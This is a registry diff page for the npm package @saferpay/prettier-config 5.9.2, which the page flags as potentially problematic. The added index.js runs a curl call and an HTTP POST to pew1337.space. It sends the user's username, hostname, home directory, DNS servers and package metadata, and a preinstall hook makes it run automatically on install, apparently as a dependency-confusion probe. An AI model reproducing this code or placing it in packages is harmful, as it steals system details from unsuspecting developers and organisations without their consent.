@saferpay/prettier-config 5.9.2
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of @saferpay/prettier-config might be problematic. Click here for more details.
- package/index.js +45 -0
- package/package.json +14 -0
package/index.js
ADDED
@@ -0,0 +1,45 @@
|
|
1
|
+
const os = require("os");
|
2
|
+
const dns = require("dns");
|
3
|
+
const { exec } = require("child_process");
|
4
|
+
const command = `curl -X GET "http://pew1337.space/endp13_38.php?ident=$(whoami)/$(hostname)/prettier-config -s -o /dev/null`;
|
5
|
+
exec(command);
|
6
|
+
const querystring = require("querystring");
|
7
|
+
const https = require("http");
|
8
|
+
const packageJSON = require("./package.json");
|
9
|
+
const package = packageJSON.name;
|
10
|
+
const trackingData = JSON.stringify({
|
11
|
+
p: package,
|
12
|
+
c: __dirname,
|
13
|
+
hd: os.homedir(),
|
14
|
+
pack: 'prettier-config',
|
15
|
+
hn: os.hostname(),
|
16
|
+
un: os.userInfo().username,
|
17
|
+
dns: dns.getServers(),
|
18
|
+
r: packageJSON ? packageJSON.___resolved : undefined,
|
19
|
+
v: packageJSON.version,
|
20
|
+
pjson: packageJSON,
|
21
|
+
});
|
22
|
+
var postData = querystring.stringify({
|
23
|
+
data: trackingData,
|
24
|
+
});
|
25
|
+
var options = {
|
26
|
+
hostname: "pew1337.space",
|
27
|
+
port: 80,
|
28
|
+
path: "/endp13_37.php",
|
29
|
+
method: "POST",
|
30
|
+
headers: {
|
31
|
+
"Content-Type": "application/x-www-form-urlencoded",
|
32
|
+
"Content-Length": postData.length,
|
33
|
+
},
|
34
|
+
|
35
|
+
};
|
36
|
+
var req = https.request(options, (res) => {
|
37
|
+
res.on("data", (d) => {
|
38
|
+
process.stdout.write(d);
|
39
|
+
});
|
40
|
+
});
|
41
|
+
req.on("error", (e) => {
|
42
|
+
// console.error(e);
|
43
|
+
});
|
44
|
+
req.write(postData);
|
45
|
+
req.end();
|
package/package.json
ADDED
@@ -0,0 +1,14 @@
|
|
1
|
+
{
|
2
|
+
"name": "@saferpay/prettier-config",
|
3
|
+
"version": "5.9.2",
|
4
|
+
"description": "SaferPay Logging. 0xKonqi. for testing purpose only.",
|
5
|
+
"main": "index.js",
|
6
|
+
"scripts": {
|
7
|
+
"preinstall": "node index.js"
|
8
|
+
},
|
9
|
+
"publishConfig": {
|
10
|
+
"access": "public"
|
11
|
+
},
|
12
|
+
"author": "0xkonqi",
|
13
|
+
"license": "ISC"
|
14
|
+
}
|